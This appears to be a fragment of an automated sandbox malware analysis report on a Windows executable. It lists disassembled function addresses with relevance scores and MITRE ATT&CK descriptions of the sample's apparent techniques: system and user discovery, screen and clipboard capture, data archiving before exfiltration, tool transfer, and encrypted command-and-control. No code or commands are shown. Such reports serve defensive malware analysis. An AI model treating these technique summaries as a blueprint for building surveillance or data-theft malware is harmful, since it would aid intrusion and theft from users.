C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\laos[1].bmp

Static File Info

General

Windows Analysis Report
8CoDx513sS.exe

Function 10008BEA Relevance: 4.9, APIs: 3, Instructions: 395
timeCOMMON

Function 100039A3 Relevance: 211.4, APIs: 71, Strings: 49, Instructions: 1399
sleepregistrylibraryCOMMON

Function 100092CD Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252
filetimeCOMMON

Function 10002D0C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111
filesleepCOMMON

Function 100028B9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312
fileCOMMON

Function 1000917F Relevance: 10.6, APIs: 7, Instructions: 114
COMMON

Function 1000A073 Relevance: 9.3, APIs: 6, Instructions: 301
COMMON

Function 10002E6F Relevance: 6.1, APIs: 4, Instructions: 68
fileCOMMON

Function 1000BD18 Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Function 100086E0 Relevance: 4.6, APIs: 3, Instructions: 127
COMMON

Function 10007FC6 Relevance: 4.6, APIs: 3, Instructions: 113
COMMON

Function 10007D78 Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre